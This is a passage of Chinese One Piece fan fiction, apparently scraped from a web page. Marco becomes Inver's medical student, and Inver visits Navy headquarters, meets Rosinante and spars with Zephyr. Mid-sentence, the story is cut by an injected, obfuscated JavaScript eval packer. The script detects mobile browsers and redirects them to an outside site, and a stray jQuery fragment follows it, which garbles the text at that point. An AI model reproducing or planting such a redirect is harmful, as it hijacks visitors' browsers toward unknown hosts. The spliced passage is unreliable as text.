太晚了不适合喝茶,茵弗将马尔科带到乙姬安排给自己重新清理出来的房间后去厨房热了点牛奶,挖了半勺蜂蜜在里面搅和。 用脚勾上门后,他尝了一口觉得温度还行,就把它递给正盘腿坐在床上发呆的马尔科。 “请问吧。” 马尔科捧着玻璃杯低头,茵弗玛利曾经就是这样,在这种细腻的方面让他觉得对方果然不是海贼。 温暖的,洁白的牛奶回望着他,像莫比迪克。 他抬头,对上同样洁白的衣服。 “十五年...会发生什么yoi?” 茵弗拉过椅子反着坐下,把胳膊搭在椅背上,好能直视他。 “...纽盖特先生的健康会急剧下降。年龄、旧伤、恶魔果实...”他摆了摆手,“您明白我的意思。” 马尔科点头,跟他猜的也差不多...恶魔果实? 面对他的疑问,茵弗解释了他所听到的震震果实是如何双向作用的。 “因为纽盖特先生的强大,他能控制住,压制住它,但是那些反震动会让他的身体难以得到休息,您明白吗?” 他顿了一下:“罗杰先生也有过...类似的问题。我...太晚了。” 马尔科知道茵弗玛利是想要治好罗杰的,毕竟当时把他送到鱼人岛,其实目的也不是帮助鱼人街,而是和乙姬学习能力。 而现在... 发生过一次,不能再发生第二次吗? 可马尔科是个海贼,是个儿子,他不想让这种事情在他的家发生任何一次。 他咬咬牙。 “...除了萨奇,你不是也收了学医的学生吗?让我跟着你学医吧。” “诶?” “我自己也可以学医,做船医,但是太慢了,十五年后我自己能学到什么程度呢?足够吗?” 他放在牛奶杯上的手,指节因用力而发白。 “...冥王说要让你看到可能性,你才会帮老爹,可我不知道该怎么办,我只知道我不想太晚。” 他感到愧疚,茵弗没能救下罗杰,他却要说出这样的话,好像在打对方一耳光一样。可是这是事实,他们都知道,茵弗知道白胡子对他们来说真的是父亲,莫比迪克是他们的家,就像茵弗曾经有的那样。 房间里诡异的安静,马尔科越来越紧张。明明自己才是年龄大的那个,现在却好像在等着被审判,手心出了一点汗。 茵弗玛利真的长大了,他和那个莫比迪克上的小客人如此不同。 但他还是来了,因为他知道茵弗很喜欢以藏,因为他一直希望他们也许可以算是朋友。 一阵带着一丝哑音的笑声传来,一只手抬起了他不知何时低下的头,他又看到那抹白了。 “您还说不知道,您这不是做到了吗?真漂亮呀,不死鸟先生,就像以藏阁下的手一样。” “什...” “我同意了,先生。” 茵弗起身,走到放闲置用具的柜子前,“您前面的那个学生今年应该...嗯,七岁了?一个坏小子,如果让您叫他前辈什么的,别意外啊。”,他搬出多余的被子毯子往床上丢,不顾还在半震惊里的马尔科慌慌张张地把喝了一半的牛奶杯放到桌上。 他熟练地把它们围成一个软乎乎的巢,拉着他躺进去。 “太晚了,我不想给您读书,但是我之前有段时间也和一只鸟一起睡觉,一只火烈鸟,这让他放松,您也该放松一点。” 灯灭了,马尔科听到茵弗摘下项链和耳饰,将它们放到桌子上的咯啦声。 然后一只带着草药气息的手伸来,带着茧的拇指从他脸颊上蹭过。 “跟我走吧,旅行,学医,回到家人身边,再到我这里来,十五年,您来得及的。” 也许是他不死鸟的恶魔果实很喜欢这个窝,也许是龙宫城的毯子真的很舒服,也许是别的什么,马尔科真的放松下来了。 他小声说了声谢谢,摩挲了一下脸上已经没有草药气息的皮肤。 51.拜访海军总部 “老爹再见,我隔段时间就会回来一次yoi。” “胡子老爹再见!” 茵弗抱着箱子坐在莫比迪克的船舷上,有些好笑的看着眼前的场景。 还说什么''我跟着老师'',怎么都开始叫老爹了? 茵弗扭了一把跑过来的棕发小伙子的脸,从船舷上跳下去,走到白胡子面前。甲板上乌泱泱的,都来和他们的兄弟告别,在他经过时分开道路。 “小子,罗杰带走御田还不够?你还带走我儿子。” “哪里的话,不过我希望您当年说的莫比迪克永远欢迎我,在这之后仍然算数。” 白胡子咕啦啦啦啦地喝了一口酒,擦去酒渍,目光扫过自己坚定的大儿子,还有围绕在自己身旁的臭小子们。在这瞬息万变的海上,生死不过耳耳。他白胡子就算老了,也会守护自己的家人。但是当这些从他眼前成长起的孩子们,流着泪说''想和父亲一起航行下去''时,他还能再说什么呢? 所以他对着那个令人不得不多看一眼的小子点头:“当然了,谢谢你。” 茵弗眼角弯弯,打开了手里的盒子给他展示。 “虽说我应该收学费的,但是我还没想好要收什么,这次就先送您们一份礼物,作为要让您们亲人远隔的歉意。” 白胡子挑眉,周围的船员们也都发出七嘴八舌的惊讶和交谈声。 “恶魔果实?” 茵弗点头,多弗朗明哥还是给他弄来几颗的,不过恶魔果实这种东西真的拿到后,反而让他无从下手,他根本弄不明白,与其说是在研究不如说真的就是在拿来玩。 所以他大部分还是留在多弗朗明哥那边存着,有清单记录他手里拿到什么果实给茵弗就好了,不感兴趣的就随便多弗朗明哥用来交换利益也好卖出去也罢,随便运作。 这一颗是速速果实,他本来想拿着送给香波地那个想要成为跑的最快的人的小姑娘。不过她已经和杰克逊、朱尼尔一起不知所踪了。 “请收下吧,我有很多,或者说我会有很多。” 白胡子弯腰瞅瞅:“你要那么多干嘛?这玩意也算稀罕吧。” “我喜欢收集那些乱七八糟的东西嘛,有什么比恶魔果实更乱七八糟的吗?” 白胡子倒是不在乎,也不需要茵弗拿什么歉意的礼物出来。就像他说的,他反而应该感谢他,不论是马尔科的事情,御田的事情,还是鱼人岛。但是他的儿子们已经开始兴奋地嚷嚷了。 “哦哦哦太帅了吧!随便就拿出恶魔果实什么的。” “和当年说什么''致意''的时候一样帅!哥哥我果然没看错人!” “速速果实的话,基尔不是正好可以用的上吗!他就是速度型的。” 茵弗转向刚刚说话的人,“基尔先生是哪位?” 然后笑眯眯地把手里的盒子递给那个一脸不好意思地走出来的人,“请收下吧,吃或者卖掉都可以。” ... “哦哦哦哦哦!” “噢噢噢噢噢男子汉的气概!” “喂,厨房以后也学起来吧!说什么''吃或者卖掉都可以''!” 茵弗笑了笑,在跟着一起叫唤的萨奇头上摸了一把。 把晚餐不吃卖掉吗?卖给谁啊,海里的鱼吗? 等莫比迪克进入新世界,而他热情地给马尔科介绍波比时,年轻的不死鸟才回过神。 “你真的...不...算了yoi,我也该不意外了。” 他环顾四周,确实难得自己能体验这种...不、不如说全世界都没多少人体验过吧,毕竟杰尔玛的蜗牛是独一无二的。 确实和船不太一样,感觉就像把陆地上怎么生活照搬过来。比起船大概也更平稳,对于那两个小一点的孩子应该也...嗯?嗯嗯嗯?! 马尔科拉住茵弗,指了指那个前几天一直在''感冒''的小姑娘。黑色的直发散下来了,口罩也不戴了,双手交叠,身边冒出几十只手和萨奇一起玩闹着打理菜园子。 “喂!那不是妮可·罗宾吗yoi??” 茵弗:“是啊,我不是说了,她是知更鸟(robin)吗?” 世界政府通缉的要犯,就这么被他带在身边?明晃晃的? 茵弗看他一眼,“所以?我以后身边还会带类似不幸的孩子,所以您最好习惯。”,他语气变得严肃,“我相信您,不要玷污我的信任。” 马尔科松开他,捏了捏鼻梁:“当然了吧yoi,不如说你怎么不早点说,船上的大家都不会在意的啊,有什么事还能关照一下。” 茵弗点点头,放柔了语气:“抱歉,但是几年不见,您们船上的新人太多了,我没有相处过。罗宾小小姐也会很紧张。” 这也倒是能够理解...马尔科叹了口气,揉了揉自己的菠萝头发,也许可以算是朋友吗?至少他信任自己? 他跟着茵弗参观了一圈,最后走到一个类似莫比迪克上的藏书室一样的房间。不过这里堆满的书柜是彩色的,地上也有厚厚的地毯,不同类型的座椅桌子四散在周围,几盆植物,靠门的墙边还有一个壁炉。 蛮温馨的。 “好,既然您是我的学生了,那么我需要知道一下您学到什么样的程度,您找个习惯的座位坐吧,沙发,咖啡吧台,那边的双人桌都可以。”茵弗走到白色的书柜前,挑挑拣拣地抽出几本医书,“除了自我评估,这几本书您先看着,把不知道的地方标注出来,我会再测评。” 马尔科点点头,自己确实自从小医生走那年就开始自学了,不可能让对方从零教起。茵弗玛利的那一套医疗方式在整片海上都是出了名的奇特,但是果然要学习之前基础仍然很重要。 他随便在一个高脚椅和圆桌边坐下,摊开书,从笔筒里抽出一只铅笔。 “乙姬王妃为什么要跟着?” 茵弗也坐在沙发上,在面前放下几只电话虫。 “因为我下一站去马林福德。” 马尔科猛回头:“yoi??海军总部???” 茵弗嗯了一声,告诉他赶紧看书,先拿过最小的一只拨过去。 “斯嘉丽小姐,对的我回来了,您在香波地?麻烦您晚点到图书室来一下,嗯嗯,对联系您们社长,嗯嗯,饮料吗?好的麻烦您多带一杯,我带了新的客人...” 噗噜噗噜噗噜。 “卡普先生,很久没联系了,您在香波地附近吗?哦哦,那麻烦您做好往这边来的准备,我会跟您们元帅说指定要您来的,您大概要几天我好通知乙姬王妃,我想提前一天和您见面...嗯?对的,鱼人岛的乙姬王妃...” 噗噜噗噜噗噜。 “夏琪小姐,雷利先生回去搬行李了?好的我知道了,我是找您的,是这样的,海军将领...” 叽里呱啦的。 意外的不烦。 马尔科一手支着头,一手握笔搭在令人眼花缭乱的医书上。虽然图书室一般都应该安静,参观后也知道茵弗在波比上有自己的工作室。但是对方选择了就在他的旁边忙碌。 这次出来不管是时间上还是要做的事上都和离船替老爹出任务不一样。这种差别也许也让他有些紧张吧。 现在倒是,平静下来了。 那个叫斯嘉丽的女士给他也带了一杯蜜瓜苏打,有点小孩子喝得东西,不过茵弗玛利倒是喝得挺快乐的,把冰激凌球搅来搅去。 他又在打电话了,居然是跟那个世界经济新闻社的社长,一边喝着饮料一边断断续续地往外蹦词。“鱼人岛,王妃,海军总部,哇好甜,礼物,五天后。” 马尔科听着他们拉扯,手上的笔在某个段落前画了个十字,也喝了一口融化了冰激凌的苏打。 是挺甜的。 - 全海军总部都陷入了忙乱之中,鱼人岛的乙姬王妃,在奇迹游医的引荐下,带着鱼人岛独有的慰问品前来拜访了。 “我的确同意你来海军总部参观,没想到你不是一个人来。” “当然了,鹤女士,海军不喜欢我带来的礼物吗?茶也带来了。” 大量特效的伤药,修复品,用深海生物所制成的营养食品,带有鱼人岛风格的房间装饰物,各大将领们也收到了意外贴心的礼物...这确实对军士们来说是一种很好的抚慰,乙姬王妃也是十分善良仁爱,具有魅力的人。 在医务室访问受伤的士兵们也会流泪,见到热血的新兵们也为他们真挚的守护之心表达敬佩与感谢... 但是他们总觉得...心里不太是滋味。 毕竟鱼人岛的现实他们都清楚,海军对加盟国的保护微乎其微,对方甚至借用海贼的旗帜才能保护自己的子民。人鱼奴隶在海军基地旁边的拍卖会里标明价码:七千万。 鹤叹了一口气,将他带到战国的办公室。 今天也算是鸡飞狗跳了,各种意义上。虽然自从得到通知他们就在准备,但是果然还是... 茵弗习惯性地打量四周,毕竟环境反应性格,倒是意外地看到不少人。眼熟的,陌生的,他瞟了一眼库赞头上的眼罩,对他笑着点点头。 “您们好,我是茵弗玛利。” 战国不知道该怎么评价眼前的年轻人。 最先知道他,只是报纸上出现的一名游医而已,帮过一些前线的海军。 然后就是卡普带回来的茶,巴苔里拉。 从那之后雪球就越滚越大,他不讨厌这个年轻人,但是自从弗雷凡斯的事情之后,世界政府对他的态度好像就变得有点微妙。 大概又是什么海军不知道的事情,跟他们的利益有关。但是对方立刻以''白''混到''黑''里面,那些地下势力好像也得到了制衡,就像是另一种七武海一样,所以上面仍然呈观望态度。 问卡普,他也只会说“那小子就是个医生啊?” 战国叹了口气,接过对方递过来的【配仙贝很好的茶】,看着他游刃有余地跟波鲁萨利诺他们相互介绍,饮了一口。 的确是配仙贝很好的茶。 茵弗在认识一圈之后,在鹤的示意下随他们一起坐到办公室边上的方桌边,摸了一下它硬硬的棱角后掏出一大包仙贝分给他们。 “我是一个很喜欢吃东西的医生。这是【养胃药膳仙贝】” 养胃? “当兵的人,特别是在一线战斗的军士们,在饮食上会不太均衡,加上经常受伤,我认识的很多人多多少少都有点小毛病。” 他示意了一下战国手里的,口感有些特别的仙贝。 “卡普先生提到过您早年行军时曾落下胃病,但是又很喜欢吃年糕这类不太容易消化的东西,所以我特意做了一些不会给您造成负担的零食。” 战国噎了一下,卡普都跟人家说什么啊! 本来以为什么严肃的谈判完全变成关爱老人的感觉了。 不过这也是无法避免的,军费就那些,又长时间在海上,随时都可能要战斗,吃的方面也就没那么讲究。 “也许您知道,达米安上校的队伍?我曾经帮他们调养旧伤,改良伙食...我也可以为全体海军做类似的事情。” ?? 战国:“如何做?” “我在四海都有些合作,伟大航路也许也会有,医院,草药和成品药,各种药膳食品,急救器具,军粮的改良...【茵弗玛利】愿意为海军提供优惠。” 鹤放下手中的茶杯,双手交叠放在膝上:“你想要什么,孩子。” 茵弗歪歪头:“库赞先生曾给我唱过海军的歌,我很喜欢。” 他看了一眼库赞,耸拉着眼皮,面无表情的样子,太陌生了。 “所以,我不知道,我只是想给您们提供这一选择。整片大海的人都知道我的诊费不低,但是也可以不高。” 他取出一枚很普通的贝壳,蓝色的,边缘涂上了金色。 “就从在乙姬王妃回去之前,给她提供一个在这里公开演讲的机会开始怎么样?红十想要海军的帮助,与陆地更安全地商贸。” 鱼人岛想要海军的帮助,与陆地更安全地交往。 “我想您们明白为什么来的人是王妃,而不是国王。” 鹤笑了笑,伸手接过那枚贝壳递给战国:“你还是那么聪明,茵弗医生,红十也是你的吗?难怪带着乙姬王妃来了,袛园上次买了润肤霜,很是喜欢地跟我推荐呢。” 茵弗把手支在下巴上:“嗯...谢谢,我后面配了好几款不同香味的呢,下一次如果有机会拜访我会带一些做礼物的,不过红十也是我提到的合作者之一,不能完全算是我的。” 医疗资源在这个世界非常珍贵,对海军来说也是如此。新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943171|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的力量需要时间成长,尤其是在这个风雨欲来的大航海时代,维持战力,减少战损,提升整体军力,的确是非常好的一件事。 茵弗打量着他们,也知道他们犹豫的点在哪里。所以他干脆开口说道。 “黑曼巴的确是我的合作者,我最近也收了个海贼的学生。【茵弗玛利】不会只对着海军伸手,请在选择前谨慎思考。” 是的,就是这种奇怪的''中立''让战国觉得有一丝违和。所以他直接开口道:“如果海军同意与你合作,那么你到底会站在哪边呢?” 茵弗在自己哗啦啦乱响的药箱里翻找,摸出了三枚棋子,并将蓝色首先放在桌上,“海军。”然后红色,“世界政府。”黄色,“海贼。” 三枚棋子呈三角形态对立着。 他没管身边人投来的视线,摸着下巴思考了一会儿,好像才想起来什么一样,又翻出来一堆绿绿的棋子。从他掏出来三个皇后棋的时候,战国就知道这绝对不是一副棋,不过看他手里的那一堆,他还是有些无语地抽抽眼角,帮他把掉在地上的一枚士兵捡起来。 “谢谢您。”茵弗接过,把几枚跟它一模一样的士兵随意摆在三角的外围,“还有现在出现的那个什么革命军,各报社,地下组织等等这些势力....” 然后他抬头,笑眯眯地询问,“没错吧?” 面对他们的点头和肯定,他嘴角扬起的角度更高了。 “没错、吗?” 众人又不语了,茵弗看向一直没说话的波鲁萨利诺,“大将先生,您来看看呢?” 茶色的墨镜很好地掩盖住了波鲁萨利诺的神情,他耸耸肩,拉长了语气说:“诶~我可不知道这些呀——三个皇后怎么下棋啊医生。” 茵弗笑笑,又看向已经很不耐烦的萨卡斯基,“您怎么认为呢,先生?” 佩戴蔷薇的男人皱眉,沉默伸手移动蓝棋,吃掉了黄棋。 茵弗又笑了,甚至比刚才还大声一点,那枚代表着海贼的黄棋被他接过,然后突然在手里碎开。 霸气又变得更精准了啊,这家伙,内部破坏... 库赞忽视同事们惊讶的神色,把头上的眼罩戴上,双手叠在脑后闭上眼。 他不打算参与了,自己可太熟悉茵弗玛利脸上这种表情了,对着电话虫说“奇迹游医会帮您们的”就是这幅神情,他记得过于清楚。 反正卡普先生也睡了,不差他一个。 一个动作就展现了自身实力的人却没在意他,只是把那枚变成两半的黄棋又放回了桌上——原先蓝棋的位置,又变回了三角,甚至因为变成两份,占据的位置更大了。 他忽视萨卡斯基黑下去的脸色,略过库赞,转向了一直在观察着的战国。 “您觉得呢?” 就在战国思考着要怎么回答的时候,先发话的却是自己特许来参加会谈的养子。 “额...也许...少了点什么?” 茵弗惊喜地偏头,看向了这个一直缩在一旁的大高个,金色的头发垂在额前,和旁边的那只山羊一样软软的样子。 “bingo!少校先生。”他打了个响指,把什么大将中将都抛到一边,有些期待地追问这个柔软的家伙,“缺了什么?” 罗西南迪手心都出汗了,战国先生说和鱼人岛一起来访的奇迹游医和他年龄差不多大,是个很有天赋的医生...自己平时偏孤僻一点,又在做间谍培训,所以他知道也有想让自己去试着接触一下的考量在。 但是现在这个氛围...医生什么的他不知道,和他差不多大...吗?居然久违地有一种被老师点名的感觉.. “嗯...嗯...缺了...”他又仔细地看看桌上玩闹般的''棋局'',那种违和感越来越强烈了... “没有、行棋目标?和...平民?” 茵弗玛又打了个响指,然后摸出一个白棋放在三角中间,这应该就是代表平民的——国王棋...? “以上。”茵弗捋了一把自己的刘海,好不遮挡视线地对上战国看他的眼神。 萨卡斯基不耐烦地起身,说还有很多事情要忙。语气生硬到像是放了十年的面包,话外之意就是没时间在这里跟他们打哑谜。 推门关门声吵醒了不知道什么时候睡着的卡普,鼻涕泡一破,眼睛还没睁呢就伸手摸战国手边的仙贝吃。 战国明显已经习惯了他这种行为,只是端起茶喝了一口,询问面前的年轻人:“那么,话说回来,你又是站在哪边呢?” 平民吗? 在他的惊讶里,茵弗玛利摇了摇头。 卡普笑了一声,又说了那句话:“什么这个势力那个势力的,这小崽子是医生!怎么还没谈完啊?” 战国沉思了一下,和鹤交换了一个眼神。 只好先安排道:“那么,茵弗玛利医生,我们会讨论一下,在乙姬王妃离开前回复你。” 茵弗点头:“当然了,如果您允许,我很乐意带着我的学生这段时间在食堂帮忙,为军士们做一些补充精神的料理。” 啊、什么试用吗这是。 战国被鹤在桌子底下踢了一脚,只能拉过罗西南迪同意道:“当然了,罗西南迪少校是我的养子,你们年龄差不多,有什么需要都可以找他。” 罗西南迪透过厚厚的刘海,看着没什么表情变化的茵弗玛利,悄悄咽了口口水,回了声是。 “诶——正好我厚脸皮一些,也勉强算是卡普先生的晚辈呢。”茵弗歪头打量了一下这个软咩咩,“那就拜托啦。” 和罗西南迪离开前,他看了鹤一眼,比划了一下海军和海贼两枚棋子之间的距离,然后好似无意的,敲了敲海军与世界政府之间同样的空隙。 咔哒,礼貌的关门声几乎听不见。 卡普把喝完的茶杯一放,打破了持续了有一会儿的沉默。 战国叹了口气,对鹤说道:“我终于知道你和他谈完回来说的''敏锐''是什么意思了。” 颇有气质的海军中将拎起那枚蓝棋端详着。 “SWORD?也许我们可以把握他来访的这次机会...” 仍然一言不发的黄猿听着上司们的交谈,想着那张笑眯眯的脸,把墨镜摘下擦了擦: “真可怕捏~” 睡着了的库赞发出一声哼笑。 52.海军的歌 也许、养父拜托自己关照这位医生...还是有些失策了。 第四次摔倒,第二次砸到人家身上,被扶起来的人想到。 “去坐一会儿吗,罗西南迪先生?” 啊坐一会儿,好的确实逛了这么久可以休息一下,旁边正好有咖啡厅。 唔噗好烫。啊啊纸巾...谢谢。 那只凉凉的手在递过纸巾后,从下向上地捋起他的刘海,久违地将他的双眼和额头暴露在空气中。 诶? “嗯...您的全名或许是,堂吉诃德·罗西南迪吗? ” 诶?? “啊,是的...” “这样啊,您跟您兄弟不像呢。” 诶???? 茵弗松开手,软软的刘海又重新半遮住深红的眼。他又坐了回去,托着脸看对面石化的人。真是好高,大概比多弗朗明哥还高。 “嗯...您为什么这么惊讶?我之前说了,我是黑曼巴的合作者呀,您不知道多弗朗明哥先生是它的管理者吗?” 罗西南迪...不知道。自从...他们分开后,他只知道多弗仍然在混黑/道。自己被战国先生收养,努力地成为海军也有想阻止他越陷越深的意思。不过近几年正式成为海军后,反而在努力晋升与训练中少了对堂吉诃德家族的关注。 黑曼巴...吗。 他打个响指,“Silent.” 茵弗搅动着手里的咖啡,好奇打量四周,感觉世界被一层膜笼罩了。 “果然是声音类的恶魔果实啊...我就说您''听''起来很安静,过于安静了。” 罗西南迪噎了一下,一时间有太多的问题想问,反而都卡在喉咙里,只能发出一声疑惑。 “您想问什么?慢慢来好了。” 茵弗低头吹了吹自己的咖啡,摸着温度差不多了就推给面前的大高个。 罗西南迪下意识地接过来,说声谢谢,并不烫... “你...怎么知道?” 茵弗有点好笑地歪歪脑袋,居然最先关注的问题都差不多啊,身份什么的,就像是糖衣。 他竖起手掌一根一根地数。 “身高是一点吧,一样都有点驼背也是的,姿势还蛮像的。” “金发高鼻梁?不过您的头发软呢,火烈鸟先生的头发刺刺的。” “眼睛,我见过的红色眼睛不多呢,不过您的眼睛比他们的都要温柔很多。” 火烈鸟先生? 罗西南迪喝了口咖啡,唔,医生口味偏甜吗。 “最后就是您的名字了,我听到他在梦里嘀咕过。” 唔噗—— 茵弗又递过去一张纸巾。 “咳、梦里?” 茵弗转头看向店里的其他客人,好像没什么人注意这边,不过还是有点好奇外面听不到他们声音的人看到罗西南迪这样子会不会觉得有种看哑剧的喜感。 “嗯,有一段时间他总借我的床睡,把我的窝搞得七零八乱的。” 罗西南迪白皙的脸泛了点红色,多弗,还想着他吗?不过、一起睡觉?他们是... “朋友吧,勉强算是,他就是看我的窝舒服。别乱想哦少校,如果您想,我也可以和您一起睡觉。” 罗西南迪清了清喉咙:“咳、嗯、抱歉误会了,那个...哥哥..多弗还好吗?” 原来是弟弟呀... 多弗朗明哥还好吗? 眼角带痣的青年用手托住脸颊沉思着,“您希望我回答什么呢?” 他希望他回答什么?确实...对于他的兄长来说,什么样算好呢?他记忆里最鲜明的仍然是被火焰啃咬脊背,在利箭穿透身体的剧痛中,听到多弗充满恨意的宣言。 ... “黑曼巴,你可以给我讲讲吗?” 茵弗笑了笑:“如果您想问这方面的话,那么是的,他很好,在自己擅长的,喜欢的领域里徜徉。” 不过... “至于他还好吗?”茵弗抬手看了看已经很浅的,几乎看不见的牙印,“我不知道。” 罗西南迪点点头。 “我知道您们曾经是天龙人,但是为什么离开圣地,发生了什么我没问过。也许我问过的话现在还能给您更好的回答。” 茵弗转过手,又开始端详自己的指甲,咬得破破烂烂的,大概得修一修了。他也就见过那只大鸟做过那么一次噩梦而已,不过''罗西南迪''原来真的是人名,他以为只是随便的呓语。 与他随意的语气相反,高个子的金发青年有些紧绷,有关他曾经是天龙人的事情,没什么人知道。那时那些愤怒的人给他带来的恐惧太大,太多,他不怎么踏入那片阴影。 茵弗不在意他的沉默,“您还喝咖啡吗,不喝的话我们继续参观吧?今天结束前我还想去训练场,乙姬王妃昨天跟我提到泽法教官呢。” 他就像是陆地上柳枝,她说,比划了一个弯折的动作。 这么强壮的柳枝吗?茵弗打量着那粗壮的肱二头肌,张开手比划了一下胸肌,侧身对着比自己不知道健壮了多少的结实大腿咋舌。 罗西南迪瞳孔地震,他在对着泽法老师干什么啊! “啊,失礼了,泽法先生。” “没有关系,年轻人,卡普也跟我说过你。” 因为只是来参观的,大概礼节性聊几句,茵弗就和罗西南迪坐在一边,看着他训练新兵。 他怼怼身旁的大高个。 “先生,那个Silent再来一次,就包住我们俩就行。” 罗西南迪虽然疑惑,但仍然照做。隔音壁竖起,茵弗摸摸下巴,习惯性压低声音。 “泽法先生为什么当教官了?不是大将吗?明明听起来和卡普先生比也不差的呀。” 啊...因为...罗西南迪挠挠头,不知道该透露多少,虽然是大家都知道的事情。所以说战国先生只是模模糊糊地说什么打好关系,指令不明啊元帅大人。 “嗯...泽法老师很强,但是家中出了意外,他就从前线上退下来了。” 茵弗嗯了一声。黑腕泽法,有着超强实力,却在海军这样的组织中坚持着自己''不杀''的正义。这一点他知道,所以才惊讶。 有着如此强大的信念,却离开前线了吗? 他看着泽法坚毅又温和的背影,有些苦恼地摸出一块糖吃。 柳枝...?有点好奇了啊... 不过罗西南迪大概也不好透露吧,看他纠结的样子都写在眼神里了。 要不然问卡普好了。 在罗西南迪再次的瞳孔地震里,茵弗玛利拿出电话虫,上面浮现了熟悉的,眉角带疤的脸。 “卡普先生,泽法先生家出了什么意外?” 他在干嘛!! 罗西南迪确认隔音壁还在,泽法老师也没有扭头看过来,不断比划着示意他。 茵弗觉得好玩,多弗朗明哥可没有他这么鲜活的表情,摸了一把他软乎乎的大脑袋。 “嗯,我八卦嘛,您晚点再骂,告诉完我之后随便骂,要不然我这边有人要急死了。” “少弄那些不正经的!今晚记得继续去食堂做饭,战国说喜欢豆腐年糕汤!多放点番茄!” 战国:“喂——卡普!!!” 咔嚓。 茵弗撇撇嘴。好吧,确实在人家背后打探不太好,字面意义的背后。 不过只能说明这件事确实很严重,非常严重,那么就更得认真对待了啊。 在罗西南迪长舒一口气里,他示意对方撤下隔音壁。 罗西南迪还没放松呢,就看到身边的人咯嘣咯嘣地嚼碎嘴里的糖,然后起身走到泽法老师身边。 “泽法先生,来切磋吧?” 他在干嘛!!!!? 泽法也有些意外,来拜访总部的不是海上有名气的游医吗?不过,看到对方双拳覆盖武装色霸气后,他点了点头,叫新兵们先暂停训练。 茵弗活动着手指,将佩刀和手枪递给震惊的罗西南迪拜托他保管好,走到场地中间,对着那些气喘吁吁地投来好奇目光的新兵们笑着挥了挥手。 在泽法面前站定,“先生,其实我存在一点私心,如果您能认可我的实力,那么我希望您能给我一个交换诉求的机会。” 泽法:“交换诉求?” 茵弗点头:“我希望您能跟我聊聊天,然后您可以对【茵弗玛利】能做到的事提出任何一件,我会满足。” 泽法摇摇头,只是切磋而已,没必要这么正式。如果只是想聊天,也不需要这么弯弯绕绕。但是看对方坚持,他也只能同意。正好看看这个让鹤他们念念叨叨的小子是什么样。 茵弗掰了掰手腕,向面前的男人微微鞠躬“那么,请赐教。”然后消失在了罗西南迪眼前。 - 本来包围着训练场的新兵们随着战斗的不断激化越退越远,开裂的地面,扬起的飞尘,他们目瞪口呆地看着那个温和地跟他们打招呼的医生跟敬爱的泽法老师过招。 一名海兵碰了碰身旁白发青年:“喂,斯摩格,你能打得过吗?那个医生?” 名为斯摩格的新兵皱着眉头,虽然他在训练营里算得上佼佼者,还有着自然系的果实能力,但是.... “缇娜肯定斯摩格打不过。” 斯摩格:“啧。” 一旁的罗西南迪不比他们少震惊,和新兵一样躲得远远的。手里还拿着茵弗玛利交给他的武器...武器?为什么不用武器? 他举到眼前看了一下,一把颇为优雅的长管手枪,还有一把...很普通的刀,刀鞘磨损很重。 奇怪的组合... 轰的巨响让他回神,切磋以茵弗玛利被击飞到墙上为结束。 “咳、!” 败者吐出一口血。 好强。虽然听过声音就知道打不过了,但不行,自己的霸气无论如何也压不过泽法的,这就是黑腕吗...打不动,和巴/雷特一样打不动。 耳朵里有些嗡鸣,不过他听到了,泽法霸气里的''柔'',和□□的破坏式力量并不一样。就算是最后用伤换伤的力道也直接被卸掉了,原来是这样,难怪如此强大的武装色,却能做到''不杀''。 泽法此时也带着些伤痕满脸愧疚地和罗西南迪赶了过来,扶起他。本来是收着力道的,但是这位年轻人的霸气使用确实很巧,激起了他半是切磋,半是喂招的心,最后下手还是重了点,把对方压到极限了。 “我向你道歉,这次是我的疏忽,等你没事了我们可以聊天,你确实是个很有潜力的人。”,他将茵弗的重量压在罗西南迪的身上,“快送他去医务室吧,罗西南迪。” 茵弗摇了摇头,拉住了他的袖子:“拜托,先生,能否告诉我,您家里发生了什么意外?” 是什么让你的''柔''出现了动摇? 泽法愣住了,他想知道的是这个吗?自己本来还以为是一些海军方面的问题想要询问... 怀着有些复杂的心情,他回答道:“我的妻儿被前来报复我的海贼杀害了。” 茵弗点了点头,自己的慈悲而给家人招致祸患,对海贼升起恨意,''不杀''与''杀''之间,正义动摇... 库赞的眼罩,眼神中消失的火。 茵弗又咳出一点血,随便用袖子抹了抹,取过自己的手枪后,推开罗西南迪,走到已经坑坑洼洼的训练场中间站定。 手仍然有些颤抖,这可不行,他可是医生。 他在那些新兵围过来时将手里的枪指向天空。 太吵了。 砰——! ... 他在枪鸣后的万籁俱寂里开口。 “大海看着,这个世界的开始,大海、咳、知道这个世界的终点...” 说实话旋律他记不太清了,喉咙又痛,鼻腔里滚烫地不适,词也就记得几句。 所以他只唱了记得的几句。 “疼痛,苦难,都为我包容。” “宽广温柔、咳咳,为我包容。” “万一我从这个世界上消失了。” “也知道,大海的指引。” 再他唱第二遍时,罗西南迪也开口了,顺便帮他扭正了旋律,纠正了错词。 “大海在看着...这个世界的开始~” “大海也知道~这个世界的终点。” 不过他倒是和他一样略过了中间—— “万一我从这个世界上消失了。” “也全都知道的,大海的指引。” 他的嗓子真的不能唱第三遍了,肺里火辣辣的痛,总不能一边吐血一边唱歌吧。 还好,罗西南迪唱下去了,那些新兵们也唱下去了,一个接一个地开口。 “大海在看着...” “这世界的终点...” 不愧是军歌啊,等大家一起,就变得无比有气势,可能因为他歌词的删减,带着有点悲哀的味道。 “为我包容..万一我消失...” 泽法带着一丝哭腔的声音在他耳边响起,他也加入了学生们的歌。 茵弗偏头,看他紧绷的表情,握住了他紧攥成拳的手,“那不是您的错。”,久违地,他想起雷利的回答,于是他也给出了同样的答案,即使泽法没有询问,“他们可能哪也不去,泽法先生,就一直在自己爱的人身边。” 姐姐,你还愿意在我身边吗? 他听到罗西南迪的声音颤抖了一下。 - 罗西南迪很久之后仍感到灵魂深处的震颤,他坐在医务室的床边发呆。 茵弗玛利伤的不算重,不过止痛药就是容易用完后感到昏睡。 他眼神从床上的人移到旁边桌子上的红色十字上。单独看是一个过于华丽的耳饰,而且只有一只,而旁边的那串红色项链又很朴素,大概不是宝石类做的。不在这个人身上的时候,看起来就很别扭的奇怪组合... 